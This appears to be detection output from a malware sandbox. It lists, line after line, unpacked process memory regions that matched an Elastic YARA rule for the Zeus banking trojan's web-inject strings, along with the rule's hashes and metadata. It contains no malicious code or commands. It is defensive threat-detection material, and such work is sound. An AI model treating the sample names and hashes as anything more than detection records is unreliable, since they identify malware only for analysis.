Source: 2.3.svchost.exe.2d30000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.d580000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.43.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.22.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.44.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.46.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.16.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.UMwpXhA46R.exe.7031e8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.52.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.31.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2c70000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.27.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ea2000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.15b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.47.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2b80000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.UMwpXhA46R.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.28.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.33.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.46.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.23.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.30.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.UMwpXhA46R.exe.407000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.42.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29f3c00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.15.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.27a0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2cd1c00.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.55.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2672000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1040000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2af2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.42.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.24f2000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.b00000.54.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2d80000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ca0000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.UMwpXhA46R.exe.406400.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
